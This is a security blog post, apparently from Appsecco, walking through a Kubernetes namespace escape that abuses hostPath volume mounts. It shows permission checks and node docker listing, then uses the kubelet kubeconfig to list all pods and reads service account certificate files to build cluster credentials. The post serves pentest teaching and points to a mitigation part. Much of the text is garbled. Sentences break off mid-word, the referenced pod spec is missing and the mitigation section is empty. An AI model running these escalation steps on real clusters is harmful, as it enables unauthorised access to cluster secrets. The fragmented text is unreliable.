Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1

This is Part 1 of a 2 part series on security implications of insecure hostPath vo
co

Part 2 deals with the mitigation

Prevent hostPath based Kubernetes attacks with Pod Security Policies

Mitigation for insecure hostPath volume mounts using pod security policies

blog.appsecco.com

This ability can in turn be leveraged to eventually gain maximum privilege in

Abusing hostPath volume mounts for a Pod namespace escape Video

```
→  research export KUBECONFIG=./developer-kubeconfig
→  research
→  research kubectl auth can-i create pods
no
→  research kubectl auth can-i list secrets -n kube-system
no
→  research kubectl auth can-i create pods --namespace=developers
yes
```

```
# Create kubeconfig for service account
```


The config above creates a Namespace `developers` , a Service Account `developer-sa` and binds Role to allow CRUD on Pod resource to `developer-sa` but restricted only to the `developers` Namespace.

Attacker Starting Point

As attacker in the scenario, we will start by having access to the cluster using the *kubeconfig* generated for `developer-sa` above. This is equivalent to having

Our objective is to breakout of this namespace restriction and gain access to co

Namespace Escape Steps

We will use hostPath volume feature of Kubernetes to deploy a Pod in *developers* namespace but with the underlying Node's / (root filesystem) mounted inside our Pod at */host*. We will also use additional features of Pod such as *hostIPC, hostPID, hostNetwork* to allow us access to all processes in the underlying Node. Our *PodSpec (pod-to-node.yml)* that we use in the exampe below is available here.

At this point we can access all *Docker Containers* running in the node irr


```
root@pool-qt7kkl8wt-zn6c:/# docker ps

CONTAINER ID        IMAGE
COMMAND                  CREATED             STATUS
PORTS               NAMES
622b9f408fde        ubuntu
"/bin/sh -c 'sleep i…"   8 minutes ago       Up 8 minutes
k8s_attacker-pod_attacker-pod_developers_d261db9d-84e4-4b73-83fb-
dbf42444e4d4_0
e329436b98dc        k8s.gcr.io/pause:3.1
```

to. In addition to this, we can use *nodeName* or *nodeSelector* in *PodSpec* to sc
co

Privilege Escalation

We have gained an attack primitive where we can deploy a Pod, which is scheduled in arbitrary Node by Kubernetes. Through the Pod, we are able to access the Node's *Docker daemon* and in turn have full access to any container running on the Node.

We can use the same config to list ALL Pods in the cluster


```
root@pool-qt7kkl8wt-zn6c:/# kubectl \
--kubeconfig=/etc/kubernetes/kubelet.kubeconfig get pods -A
```

This lists all Pods in the cluster

```
NAMESPACE     NAME                                                    READY
```

```
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
```

The above information can be used, along with `cluster-info` to generate a `kubeconfig` using which an attacker can interact with the API server. Refer to our script for generating `kubeconfig`

Mitigation

assurance for withstanding real world attackers by getting us to do a black box pe

We run a hands-on training course "Attacking and Auditing Kubernetes Clusters" for cluster operators and pentesters.

Drop us an email, contact@appsecco.com if you would like us to assess the security of your K8S infrastructure or if you would like your security team trained in advanced pentesting techniques against K8S.

Written by Abhisek Datta

157 Followers · Writer for Appsecco

Security Researcher | Security Engineering | Personal tweets @abh1sek | Workshop https://github.com/abhisek

Riyaz Walikar in Appsecco

Nodejs and a simple RCE exploit

While reading the blog post on a RCE on demo.paypal.com by @artsploit, I wanted to...

Abhisek Datta in Appsecco

Prevent hostPath based Kubernetes attacks with Pod...

Mitigation for insecure hostPath volume

Neetrox in InfoSec Write-ups

Intrusion Detection: Implementing Suricata on Windows Systems

Validating Intrusion Detection Efficacy

Ankita Patel

Kubernetes Service Mesh: What It Is and How to Use It

As the adoption of microservices architecture

How ChatGPT Turned Me into a Ha

Dis
hacker, from gathering resources to tacking...

Jun 18

How to load the local docker image

widespread practice for development and...

May 28